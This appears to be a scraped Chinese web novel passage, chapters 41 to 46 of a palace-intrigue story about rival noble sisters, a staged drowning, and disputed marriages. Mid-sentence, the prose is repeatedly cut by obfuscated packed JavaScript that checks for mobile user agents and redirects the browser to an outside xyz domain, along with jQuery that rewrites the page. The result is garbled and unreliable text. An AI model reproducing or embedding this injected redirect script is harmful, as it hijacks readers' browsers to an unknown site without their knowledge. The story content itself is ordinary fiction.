威宁侯可不管那么多,撒手就把她往晏明远身上丢。 累死他了。 “侯爷且慢。舍妹虽得您搭救,可这寒冬腊月里肌肤相亲,您总要给她一个交代吧。”晏逐星叫住了正欲离开的威宁侯。 一旁的双鲤指着威宁侯胸口惊呼:“呀,二小姐中衣领口的盘扣都蹭在您襟前了。您 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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看来,这出好戏还没结束呢。 第41章 这一回,王爷总不会继续偏袒晏大小姐了吧? 晏明月一时语塞。 晏逐星确实没推她。 但要是说有个黑衣人突然从树上跳下来把自己踹进池子,旁人恐怕只会觉得她是落水之后失心疯了。 这理由荒唐得她自己都不信。 她必须咬死是晏逐星干的。 “就是你,当时站在我身边的只有你一个人,不是你还能是谁。”说完她扭头看向一旁的丫鬟,“蔓儿,你说,是不是大小姐推我下水的?” 蔓儿浑身发抖,看着二小姐骇人的目光,头都快埋进衣领里了。 她飞速道:“是大小姐推的,奴婢亲眼瞧见了。” 晏明远听到这话,指节捏得喀嚓响,盯着晏逐星像看脏东西,充满厌恶。 “往日你在府里欺辱明月还不够,在玄空寺这等佛门清净地也敢作恶?” 他猛地拔高了声音:“来人,将她带回去请家法,定远侯府可容不得残害手足的畜生。” 众人听到这话顿时议论纷纷。 “没想到啊,定远侯府的大小姐竟然这般蛇蝎心肠,竟然要害死亲妹妹。” “她站都站不稳了,还能推人下水么?我怎么感觉此事有猫腻啊?” “能有什么猫腻,在场的丫鬟都看到了。还有,侯府世子都站出来指认了,这位大小姐平日里就欺负二小姐。这样恶毒的人,什么事做不出来。” 众人七嘴八舌地讨论着。 隐匿在角落里的停云偷偷看了身旁的王爷一眼。 先前晏大小姐的丫鬟九栀将晏明月踹下水的时候,他和王爷可都瞧见了。 这一回,王爷总不会继续偏袒晏大小姐了吧? 不曾想,下一刻,谢翊宁就高声开口:“是么?本王看到的,和你说的可不一样。” 停云眼皮突突直跳。 玄空寺的香是不是掺了**散,怎么好像王爷对这位晏大小姐更着迷了。 听到“本王”二字,众人都看了过来。 沈夫人看清他的脸,顿时露出错愕的表情,赶忙行礼:“见过永安王。” 听到这个名号,那些围观的人群“歘”一下都闪开,默默给他让出了道。 谢翊宁袍角翻卷,大步走到了晏逐星身边,停云挎着剑跟在三步外,活像霜打蔫的茄子。 晏逐星也很惊讶。 她没想到在这又遇上了永安王。 她在心底暗暗腹诽,永安王怎么总是神出鬼没的。 上次在威宁侯府他也是忽然就冒了出来。 也不知道他今天是什么时候来的,先前九栀藏身树上时,不会被他看到了吧? “王爷此言何意?”晏明远眉头皱得紧紧的。 上一回,就是因为永安王的出现,晏逐星才得以逃脱父亲母亲的责罚。 这一回,他又想做什么? 晏明月将指甲深深掐入掌心,身子依旧止不住哆嗦。 永安王到底看上晏逐星什么了,为什么每一次晏逐星有难,他都能第一时间站出来替她撑腰。 不行,这一次绝对不能放过晏逐星。 她抢在谢翊宁回答兄长之前开口:“王爷,我知道您心疼姐姐,但您总不能每一次都不分青红皂白地偏袒她吧?” 一石激起千层浪。 晏明月这话让围观的人群更兴奋了。 晏二小姐这话里的意思,莫不是说永安王和晏大小姐有私情? 围观香客们脖颈齐刷刷抻长半寸,咽口水声混着衣料摩擦声,传来窸窸窣窣的声音。 谢翊宁只是淡淡地撇了他们一眼,那些躁动的眼珠子又慌忙低垂下去。 罢了,这位活祖宗惹不起,还是不要当面议论他的私事为妙。 “阿嚏。” 晏明月打了个喷嚏,她冻得牙齿上下打架。 “不过姐姐命好有王爷庇护,小女无话可说,就当是我自己摔的吧。”她做出了一副伤心欲绝,不得不打碎牙齿往肚子里吞的委屈感。 晏明远想替妹妹说话,但是碍于对方的身份,不敢多说什么,只得恨恨地瞪了晏逐星一眼。 “好一张颠倒黑白的嘴。”谢翊宁鼓起了掌。 “本王先前瞧见一位黑衣人从树上一跃而下将你踹进池子。” “结果你却非要说是晏大小姐推的你。莫非那人是你安排的?特意演这么一出戏,好让众人怜悯你,憎恶你姐姐?” 晏明月原本就冻得发白的脸这一刻更是白得吓人。 什么,永安王竟然全都看到了? 她脱口而出:“不是我安排的!” “咦,这么说那确实有黑衣人存在咯?”围观人群有人发出惊叹。 晏明月只否认了她没安排人,但没否认黑衣人啊。 “没错。先前一个黑衣人忽然从树上跳下来。”晏逐星指着那密不透风的古树,露出了惊恐的表情。 “他一脚将妹妹踹到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“赶巧沈侍郎的夫人和千金都在,不如你们入内做个见证吧。” 沈夫人:…… 早知道她就不看这个热闹了。 这下尴尬了吧。 第42章 他怀疑永安王是故意的,但他没证据 晏明远守在门外来回踱步,担忧晏明月因为落水出事。 他恨恨地瞪了晏逐星一眼:“要是明月有个三长两短,我让你给她偿命。” “那若是晏明月污蔑了我呢?”晏逐星淡定反问。 “不可能。”晏明远脱口而出。 “明月和你这种撒谎成性的人不一样,她不会骗人的。” 晏逐星笑了笑,没说话。 一旁的谢翊宁眉头微蹙。 晏明远这话他可不爱听,于是他佯装无聊踢地上的碎石子玩。 鞋尖一勾,花生米大的碎石直冲晏明远的面门而去。 “啪”地一声闷响。 晏明远捂着嘴**两步,疼得直抽气,再松手时上唇已肿成红亮的小山包。 “抱歉,本王没注意。”谢翊宁一脸无辜。 “无妨。”晏明远从牙缝里挤出两个字。 他怀疑永安王是故意的,但他没证据。 “嘎吱”一声响。 禅房的门被打开了。 沈夫人和沈墨湘走了出来。 沈墨湘看到他肿起来的嘴唇,猛地瞪大了眼睛。 “世子,你的嘴怎么了?” “没事,不小心磕到了。”晏明远用手捂嘴含糊道,“明月怎么样了?” “有些发热了,恐怕要迅速送去医馆。”沈夫人回答道。 晏明远急得不行,当下就要让人把晏明月抬到马车上。 晏逐星开口询问:“沈夫人,不知二妹妹身后可有伤痕?” 沈夫人和沈墨湘有些难以启齿。 这事真是得罪人啊。 一旁跟进去检查的双鲤脆生生道:“小姐,二小姐后腰确实有一块红肿。一看就是被人踢了。” “不可能。”晏明远还是不信。 他扭头看向沈家母女,眼里带着殷切的期盼。 “伯母,沈小姐,你们不会骗我的吧,是不是这丫鬟在撒谎?” 当着永安王的面,沈夫人不敢撒谎,只得尴尬地开口:“二小姐后腰处确实有伤痕。” 听到这个结论,围观的香客们终于心满意足地离开了。 果然是二小姐撒谎了呀。 晏明远脑袋“嗡”一下炸开,但他下意识地替亲妹妹说话。 “不一定是人踢的呀,也可能是落水后被水中的东西磕碰到了。” “若是磕碰,又怎么会那么巧,只有一个伤。”双鲤振振有词。 晏明远脸“噌”一下就红了。 他一时间想不出该如何辩解,只得转移话题:“人命关天,我先送明月去医馆。” 说完就让人抬着晏明月上了马车,完全忘了自己还有一个腿受伤的妹妹。 沈家母女也不好多呆,冲永安王行了一礼后便告退了。 晏逐星也冲他行了一礼:“多谢王爷仗义执言,臣女也告退了。” “本王正巧要回城,顺路捎你一程吧。”谢翊宁慢悠悠地开口。 停云撇了撇嘴:巧什么啊,王爷分明是故意等人家的。 顺路? 两家明明都不在一个方位。 顺的哪门子路。 晏逐星迟疑片刻后,还是点头答应了。 “多谢王爷。” 正好,她也想问问谢翊宁为何三番五次地救她于水火之中。 晏逐星坐上了软舆,准备下山。 走到了半路,忽然听到前方传来重物坠地的声音。 紧接着,就是一阵兵荒马乱的惨叫声和训斥声交杂在一块。 “二小姐!” “你们干什么吃的,连个软舆都抬不动?!” 双鲤得了晏逐星的眼神暗示,快步跑过去瞧发生了什么事。 不一会儿,她就跑回来了,气喘吁吁道:“是二小姐的软舆断了,摔了。” 晏逐星在心底冷笑。 晏明月这是自作孽不可活啊。 她若不对软舆动手脚,又怎会落得如此下场。 “人没事吧?伤得重不重呀?”晏逐星一脸关切地询问。 “幸亏大少爷拦得快,只滚到了边上,没掉下山。只是脸好像擦伤了。”双鲤将看到的一切清清楚楚描述出来。 晏逐星扭头看向谢翊宁。 谢翊宁像是知道她要说什么,开口安抚:“放心,本王让人先把你送回侯府。” “多谢王爷。此事得尽早告知父亲母亲。”晏逐星故作担忧。 下到山脚,谢翊宁命停云驾车将晏逐星送回侯府,自己骑马回王府去了。 晏逐星原本还想在马车上和他谈谈这几次报恩的事情。 见他策马离去,只得作罢。 晏逐星刚到侯府,就被下人请去花厅。 “大小姐,侯爷和夫人在等您。” 她心下顿时了然,看来晏明远已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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淡黄液体顺着她裙角往下淌,滴滴答答地在青砖地上积起一滩水渍。 温如霜整个人僵在原地,脸上血色褪得干干净净。 第43章 好友变后娘 一瞬间,所有人都沉默了。 温如霜她不敢去看他们二人的表情,闭上了眼,死死抓住李氏的手:“送我回房。” “是。”李氏赶忙让人把她抬回了屋里去。 “咱们到一旁去说吧。”定远侯用手捂住了鼻子。 “好。”晏逐星乖顺地点了点头。 “你把先前的事情再说一遍。说仔细些,任何细节都不要放过。”定远侯沉声开口。 他收到晏明远派人传回来的消息后,一阵暴怒。 眼看女儿就要及笄,可以许配人家了,竟然闹出了这样荒唐的事情。 和威宁侯肌肤相亲后,京城里谁家还愿意娶她。 “大哥和二妹妹几次三番邀请我去玄空寺上香,我腿脚不便,本不欲前往。但想着要给母亲祈福,便也跟着去了。”晏逐星将今日之事缓缓道来。 定远侯越听脸色越难看。 晏明远派人回来说得十分简略,他只知道晏明月落水后被威宁侯所救,以及下山时摔伤了脸的事。 其他一概不知。 没想到这背后竟然还有这么多波折。 恐怕明日天不亮,他们定远侯府就要变成满京城茶余饭后的嚼头了。 不行,明日卯时他必须要往宫里递折子告病。 一想到同僚们憋笑的神情,他就恨不得连夜收拾细软逃出京城。 太丢人了。 只可惜,今日还得抓紧去威宁侯府走一趟。 救命之恩若是不报,他们也不用在京城立足了。 一时间,定远侯整张脸阴沉得像是被暴雨前的黑云压着。 让晏明月去做妾,他是全然不肯的。 但硬要嫁过去当平妻,两家定然要结仇。 可如果不让她嫁人,日后她的亲事该怎么办。 他一阵心烦意乱,看向晏逐星:“星儿,你觉得今日之事该如何是好?当真要让你妹妹去侯府做妾么?” “此事女儿不敢做主,不如父亲命人去问问母亲。母亲最疼妹妹了,定然不会害了她。”晏逐星把这个烫手山芋抛了出去。 “有道理。”定远侯忙不迭点头,决定去找温如霜要个主意,晏逐星趁机称累了,回自己屋子里休息。 温如霜已经换了一身衣裳。 见到定远侯,她下意识地就想起了先前那个丢人的场景。 虽然这段时间她已经减少饮水,又请大夫来日日替她针灸治疗,但情绪一激动还是会控制不住出现失禁的场景。 她咬紧牙关,费劲挤出一句话:“侯爷怎么来了?” “我是想问问你,明月这事到底该怎么办?是让她嫁过去,还是怎么着。”定远侯也不废话。 经历了先前的事情,他现在一靠近温如霜,就感觉她身上带着一股味,眼里不自觉地就流露出嫌弃。 温如霜看见他这表情,指节猛地抠进蚕丝被面,生生扯开了一个窟窿。 她控制不住自己的情绪,撕心裂肺地尖叫:“不行。明月比威宁侯的女儿还小一岁,你让她嫁过去,那不是让全京城的人笑话么。” “若不嫁过去,你说,这京城里还有谁愿意娶她?”定远侯揉了揉耳朵。 原本,他对这个女儿是寄以厚望的。 没想到,现在折在了威宁侯手里。 让一个年纪和自己差不多大的人当女婿,他也很不情愿的好么。 温如霜一时语塞,不知道该怎么说。 “如今还不知道明月是什么状况,若是真伤了脸,那她可就更嫁不出去了。还不如就嫁威宁侯呢。”定远侯语气愈发不耐烦。 温如霜的脸色瞬间变得惨白。 若是脸伤着了,那可就真的全完了。 “你快去催催,大少爷怎么还没把二小姐带回来。”她着急忙慌地让人去把晏明远找回来。 刚提到两人,就听到下人匆匆跑了进来禀告:“大少爷领着二小姐回府了。” “快将两人请过来。”温如霜当即吩咐。 没一会儿,晏明远就领着晏明月回来了。 晏明月还在昏迷,是被人抬进来的。 晏明远看到父亲母亲都在,羞愧地跪到地上认错:“是孩儿无能,没能护住妹妹。” 温如霜着急地扑向床边想要查探晏明月的情况,这一眼她差点昏过去。 晏明月的脸被山道上的碎石棱角和路边的荆棘刮破了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15536159|170242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皮,横七竖八地爬着六七道血痕,最骇人的那道裂口从右眼尾斜劈到嘴角。 若是日后留下疤痕,那可就全完了。 定远侯瞧见这一幕,心沉到了谷底。 …… 没等定远侯去登门,威宁侯夫人钱氏就已经知道了此事。 今日在玄空寺上香的有她娘家的嫂嫂。 回府后嫂嫂第一时间命人将这消息告诉了她。 钱氏快气疯了:“这小贱蹄子可真不要脸。侯爷都能当她爹了,竟然还妄想嫁给侯爷。” 一旁的嬷嬷给她倒茶,劝慰道:“夫人消消火,可别气坏了身子。侯爷有分寸着呢,都说了就算要娶,那也只能做妾。” 钱氏狠狠拍了一下桌子:“侯府嫡女做妾,可能么。你当定远侯是那么好糊弄的。” 她一颗心像是在油锅里煎着,难受得她眉头紧锁。 “定远侯也未必肯让嫡女嫁过来……”嬷嬷小心翼翼地措辞安抚。 “满京城的人都瞧见她清白没了,除了嫁给侯爷,还有谁愿意娶她。定远侯一家肯定要赖上门了。”钱氏说着尾音陡然变得哽咽,眼泪不受控制地落下。 她一遍又一遍地擦眼泪,擦到帕子都被洇湿透了,还是没能止住眼泪。 嬷嬷说尽了好话,好不容易哄得她止住了眼泪。 “嘎吱”一声响。 门被猛地推开。 钱氏抬头一看,是女儿赵云霏回来了。 赵云霏看到母亲落泪顾不得询问发生了什么事,直接追问:“娘,明月当真要嫁给我爹么?” 她不说还好,一说反倒勾得钱氏的眼泪扑簌簌往下落。 “呜呜呜。”她抱着女儿泣不成声。 看她这个反应,赵云霏便知道外边的传言是真的了。 她顿时僵在了原地。 她先前从学堂回来,便听到死对头嘲讽她爹要另娶,娶的还是她的闺中密友。 这太荒唐了! 她迫不及待地回来找母亲求证,没想到,竟然是真的。 好友变成小娘,她无法接受。 这时,门外忽然传来了下人的通禀声。 “夫人,定远侯登门道谢了。” 第44章 婚后的光景 “晏明月呢?她来了吗?”赵云霏跺跺脚,气得想要去找人算账。 钱氏擦掉眼泪,赶忙拉住了她:“你一个闺中女子,不得参与此事。去将你祖父和祖母请来。” 前不久她才被罚跪祠堂,想到这,赵云霏不敢冲动,只能老老实实地去请祖父祖母。 威宁侯正在将今日之事告知爹娘,见女儿来请人,顿时很烦躁。 “爹娘,此事劳烦您二老费心了。待会晏鸿升问起,就说我为了救他闺女,冻病了。我就不信这样他还能不要脸地把女儿塞给我。” 老威宁侯和老夫人同时点了点头,脸色也很难看。 儿子一把年纪,明年都要当祖父了,娶一个明年才能及笄的小丫头像什么话。 听到父亲这话,赵云霏长长地舒了一口气。 至少父亲没有动摇。 有祖父祖母在,晏明月应该嫁不进来吧。 老威宁侯和夫人一前一后进了正堂。 定远侯见到二老,垂袖行了个触地全礼。 老威宁侯摩挲着手上的黄杨木拐头,老夫人指间翡翠佛珠捻得飞快,两人都一言不发。 定远侯觑着老侯爷和老夫人的神色,猜测到今日恐怕有一场硬仗要打。 他露出一个感激地笑容,慷慨激昂道:“今日多亏了宗禹兄,若不是他,我家明月恐怕就要溺死在玄空寺了。” 他一连说了好几句感激的话,又让下人将精心准备的谢礼送了上来。 老侯爷这才开口:“宗禹良善,今日无论谁落水,他瞧见了都会去救。” “是的是的。”定远侯赔着笑脸附和。 老夫人紧跟着开口:“你的谢礼已经收下,你回吧。宗禹因为救你那闺女,如今冻病了,正躺床上歇着呢。” “唉,原不该提这茬。”定远侯一摊手,露出一副自责的神情。 “宗禹兄与我家明月肌肤相亲一事,当时玄空寺的香客们可都瞧见了。如今满城传得风风雨雨,晚辈斗胆请二老做主,许我家明月一个名分。” “荒唐!难不成要我儿停妻再娶?”老侯爷重重砸了一下拐杖。 “不可能。钱氏为我威宁侯府诞下两子两女,打理侯府多年从未出过岔子。谁要动我儿媳妇,我坚决不同意。”老夫人的话掷地有声。 躲在外边偷听的钱氏听到婆婆这话,感动得直抹眼泪。 定远侯赶忙摇头:“让宗禹兄停妻再娶,那是恩将仇报的做法。我怎么会做出这样下作的事情。” 听到这话,二老脸色稍缓。 他们对视一眼,老夫人开口了。 “那贤侄的意思是,愿意让令嫒给宗禹做妾?” 定远侯露出一抹苦笑:“明月是侯府嫡女,做妾于理不合。” “那你要如何?”老夫人皱起了眉头。 门外的钱氏也攥紧了帕子,紧张地等待着他的下一句话。 “晚辈想让明月以平妻的身份,嫁到威宁侯府来。”定远侯说出了自己的想法。 来之前,他已经和夫人吵过一架了。 夫人虽不愿意让女儿嫁给威宁侯,但这已经是当下最好的办法了。 威宁侯如今才四十,女儿若是嫁过来,努努力,说不定还能生个儿子。 日后威宁侯府的世子之位,也不是不能争一争。 “不行。”老夫人再一次拒绝。 定远侯听到反对,也不恼,再提出了一个新的解决办法。 “宗禹兄若不娶,换你们威宁侯府一脉的嫡子来娶也行。你家嫡次子今年十七尚未婚配对吧,不如娶了明月,结两姓之好。” “那怎么行!”门外偷听的钱氏按捺不住冲了出来。 先打她夫君的主意,如今又惦记上她儿子。 她绝不同意让这种搅家精嫁进来。 “这也不行那也不行。你们是想逼死我女儿吗?”定远侯也恼了。 “我看是你想逼死我。抢我夫君,还要害我儿子,我死给你看我,我就不信这全京城没有一个讲理的地方了。”钱氏说完就要撞柱。 谁也没想到她会做出这样的举动。 竟然直直地就让她撞了上去。 一时间,威宁侯府鸡飞狗跳。 …… 威宁侯府和定远侯府都乱糟糟的,户部侍郎府也不遑多让。 沈夫人回府后,和夫君沈源晖说起了今日相看的事情。 两人商议过后,都觉得定远侯府不是一个好去处。 他们的女儿是娇宠着长大的,家中关系简单,没有那么多钩心斗角的事情。 本来觉得女儿日后能当上侯府 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这么大的女儿还塞不回肚子里,谁来救救她。 第45章 晏明远倒戈 见好言相劝没有用,沈夫人冷着脸拍桌子,放出狠话:“总而言之,我和你爹都不会同意你嫁过去的,你就**这条心吧。” 她狠下心将女儿关了起来,连院门都落了锁,不准她再闹腾。 而后开库房取了青玉笔洗,连同一支老参一并装匣,差管家快马送去礼部尚书府。 当初既是陈夫人给两家牵的线,如今这桩婚事不成,自然要备足赔罪的体面,托她再去递个话。 礼部尚书夫人陈氏得知沈家不愿将女儿嫁到定远侯府去,叹了一口气。 这定远侯府最近确实不顺。 先是出了侯府大小姐闹上公堂的荒唐事,又传出了其非亲生,给世子下药的丑事,随后侯府主母摔成了残废,如今侯府嫡女又落水失了清白。 这一桩桩事儿接连不断,也难怪人家不愿结亲。 “你说会不会是定远侯府招惹了什么邪祟,才会接二连三倒大霉。”她忍不住看向了夫君。 礼部尚书曹正安看了一眼妻子:“既是如此,那你还不离他们远些,省得将晦气带到家里来。” 陈氏忙不迭点头:“夫君言之有理,我这就递帖子,明日去定远侯府走一趟。” 翌日。 陈夫人登门,委婉转达了沈家的意思,温如霜气急攻心,当场吐出了一口血。 陈夫人吓坏了。 她只是帮忙牵线搭桥,可不想惹上人命官司啊。 她匆匆将赔礼留下便离开了。 温如霜醒来后,恨不得当场提刀去**晏逐星。 不仅两个孩子的婚事全毁了,她自己还摔成了终身残疾。如今躺在床榻上动弹不得,活像被钉在板子上的鱼。 “夫人!二小姐醒了,这会儿正闹着寻死呢!”芙儿慌慌张**进来,裙摆还沾着泥点子。 自打茉儿死后,蔓儿跟着二小姐去玄空寺出了岔子,挨了板子还躺着呢,这跑腿的差事全落在她身上。 温如霜刚缓过气,闻言眼前一黑,差点又背过气去。 她死命捶着身下的床板,嗓子都劈叉了:“快把我抬到瑶华院去!” 刚进瑶华院,就听到了晏明月撕心裂肺的哭声,其中还夹杂着晏明远和晏明修的安慰声。 温如霜心都要碎了。 她被抬进去后,哀哀地唤了一声:“明月,到娘亲的身边来。” 晏明月死死捂住脸,指甲掐进脸颊肉里,无助地哭着。 满地都是摔碎的铜镜片,闪着冷光。 醒来后,听说父亲要把她塞给威宁侯当平妻,对方还很嫌弃只让她做妾,她气得抓起梳妆台上的铜镜就砸了个粉碎。 再摸到脸上横七竖八的疤痕,她哆嗦着抓起块碎瓷片就往手腕上划。 顶着这张烂脸给人做妾,倒不如**干净。 然而丫鬟们发现后,尖叫着阻止她,还把兄长和母亲都给请来了。 “出去,你们都出去。”她背着身子,不想让家里人瞧见自己如今这副狼狈的模样。 “明月,别哭了,二哥这就给你报仇去!”晏明修急得团团转。 他没想到,不过去了一趟玄空寺,未来的大嫂没了,二妹妹的脸也毁了。 “你拿什么给我报仇!”晏明月哑着嗓子呛声,抓起碎瓷片往地上狠狠一砸。 “我的脸都烂成这样了,往后连出门见人都要戴帷帽!若是同时和姐姐一块出门,恐怕人人都会赞姐姐貌若天仙。我呢?顶着这张烂脸,恐怕看门的小厮都要啐一口唾沫!” “那我便帮你也毁了她的脸。”晏明修脱口而出。 晏明月止住了哭声,缓缓转过身,但还是没有松开捂着脸的手。 “当真?” “嗯!”晏明修重重点头。 “你放心,我还会去请各种名医来医治你的脸,一定不会让你留下疤痕。” 一旁的温如霜沉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15538706|170242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 默着一言不发。 她恨透了晏逐星,若是真能将她的容貌毁了,倒也算消了她的心头之气。 唯有晏明远露出了不赞同的表情。 “明月的脸,是软舆出问题才摔伤的,跟星儿有什么关系?” 剩下三个人齐刷刷瞪过来。 这倒是头回有人替晏逐星说话,空气都凝住了。 晏明月松开了手,露出糊满褐色药膏的脸,颤抖着声音问:“大哥,我才是你的亲妹妹。你也要和爹爹一样,不管我,反倒去护着姐姐了么?” 晏明远看着自己的亲妹妹,露出了失望的神色。 他好像头一回认识她。 他沉声道:“你的脸受伤了,就要毁掉姐姐的?世上哪有这样的道理。你不觉得这样太恶毒了吗。” “大哥,你说我恶毒?”晏明月不可思议地看着他,没想到有朝一日竟然在亲兄长的口中听到了这样的判词。 “大哥,你怎么能这样说明月。她在外边吃了那么多年的苦,是晏逐星顶替她过上了金枝玉叶的生活,她欠明月的。”晏明修站出来维护妹妹。 “这几年星儿做得还不够多吗。”说到这,晏明修有些羞愧地低下了头。 昨日回府后,他因为没有及时护住妹妹,败坏了侯府的名声,被二弟和母亲斥责。 父亲还请了家法,抄起藤条抽得他后背皮开肉绽。 入夜后他趴在冷硬的床板上,听着小厮汇报,说母亲正为明月流泪,二弟正张罗着给妹妹寻祛疤膏。 而他被抽烂的脊背火辣辣地疼,无人在意。 没过多久,晏逐星身边那个小丫鬟悄悄送来一瓶药膏。 那是宫中才有的玉肌膏,价值千金。 他很是不解,最后拖着受伤的身体亲自去了玉澜院问她。 “今日之事,你不恨我么,为何还要给我送药?” 而晏逐星的回答让他始料未及。 第46章 娶她当王妃 “怎么会不恨呢。”晏逐星垂下了头。 “可是再恨,我也忘不了过去那些事情。” “五岁时,我打碎父亲最爱的砚台,你抢着说是自己失手替我揽下了罪名,被父亲罚去跪祠堂,跪到膝盖肿得走路都一瘸一拐。” “七岁踏青游,我惊了马,是你把我护在怀里滚下山坡,自己在床上躺了三个月。” “九岁那年冬至,我和二哥吵架偷溜出府,你顶着大雪找了我三个时辰,自己烧得说胡话手里却还攥着给我买的糖人不放。” “直到,二妹妹被找回来……” 晏逐星说到后面声音开始发抖。 被她提醒,晏明远也想起了那些封存在记忆里的往事。 在明月回来前,他确实最宠这个妹妹。 是从什么时候开始,他们兄妹的关系变得这么僵了? “算了。说那些没有意义,反正药没问题。就当还了你从前对我的照顾。”晏逐星吸了吸鼻子,“晏大少爷,以后咱们两清了。” 这话让晏明远蓦地慌乱起来。 像是幼时眼睁睁看着最喜爱的纸鸢挣断丝线,飘飘摇摇融进云里,再也找不回来。 他还想说什么,但又不知道该说什么。 沉默片刻后,晏逐星让人客客气气地将他请出了院子。 “她做什么都是应该的!都是她欠明月的!”晏明修凶狠地打断了他的回忆。 “大哥,你也不要我了吗?”晏明月眼泪掉下来,嘴唇发白。 晏明远忙摇头,将怀中的药小心翼翼地递给她:“胡说什么!你永远是我的妹妹。有了这玉肌膏,你就不用担心脸上留疤了。” “玉肌膏?这不是宫里才有的么?”晏明月脱口而出。 “嗯。这是星儿给我的。但我伤的是背,我觉得还是你更需要它。”晏明远点了点头。 “那野丫头存心的吧?有玉肌膏怎么不早点送来。”晏明修一脚踹翻了旁边的椅子。 “我看她分明就是故意希望明月脸上留疤。” 晏明月将玉肌膏塞回晏明远手里,怯生生道:“姐姐给你的,我不能要。免得她看到了不高兴。” “她有什么可不高兴的。这么一小罐子够谁用,你等着,待会我就去找她把剩下的都要来。”晏明修一听这话可就不乐意了。 “皇后娘娘只赏赐了她一罐,她已经全给我了。你还去找她有什么。”晏明远抬手拦住了弟弟。 随后严肃着一张脸看向晏明月。 “星儿为什么不直接把东西给你,你不知道吗?每次她给你的东西,你要么觉得她在炫耀,要么觉得她给的都是次品。” 昨晚从玉澜院失魂落魄地离开后,他趴在床上,睡意全无。 他想了很多事情。 晏明月回来之后,总是动不动就哭,他们很多时候都会误会是晏逐星欺负了她。 可实际上,他们从来没有当面瞧见两人发生冲突。 每一次都是晏明月一哭,大家就去哄她了。 没有人在意晏逐星的感受。 他心底一阵钝痛。 那也曾经是他从小宠到大的妹妹啊。 结果呢,他竟然让她吃了那么多的苦。 甚至邀请她去玄空寺,也是出于算计的目的。 怪不得她连一句大哥都不愿意喊,要用“晏大少爷”来跟他划清界限。 “大哥,你竟然这么想我?”晏明月脸色白得更难看了。 晏明修看到她这副模样,气得想要和大哥动手。 结果他却转身就走了,只留下了一句话:“随你们吧,这玉肌膏若是不要,我便还给星儿了。” 温如霜没想到长子竟然也倒戈到了晏逐星那边。 她心下有些发寒。 不知不觉中,好像一切都变了。 先是侯爷,后是长子。 晏逐星在一步一步瓦解他们。 晏明月见他走得干脆,顿时慌了。 她只是想以退为进啊,怎么大哥不像从前一样哄她,非要她收下不可,竟然直接就拿走了。 她赶忙看向晏明修:“二哥,大哥生我的气了,我的脸怎么办?” “等着,我这就去把那玉肌膏给你拿回来。”晏明修追了出去。 屋内只剩了温如霜母女二人。 晏明月抿着唇,看向了母亲。 先前她是真的想死,可如今大哥竟然也偏向了晏逐星,她反倒被激起了胜负欲。 不想寻**。 “你不该动那个软舆的。”温如霜叹了一口气。 晏明月脑袋一片空白,她没想到母亲已经不能动弹了,竟然还知道事情是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15545112|170242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她做的。 “娘亲,你,你怎么知道的?”她结结巴巴地开口。 温如霜:…… 女儿这点伎俩,都是她从前玩剩下的,她能不清楚么。 但她不能这么说。 她清了清嗓子:“不重要,你只需要记住,晏逐星已经不是从前的晏逐星了。你不是她的对手,不要去招惹她,好好养伤才是要紧事。” 晏明月有些不服气,这一次是她大意了。 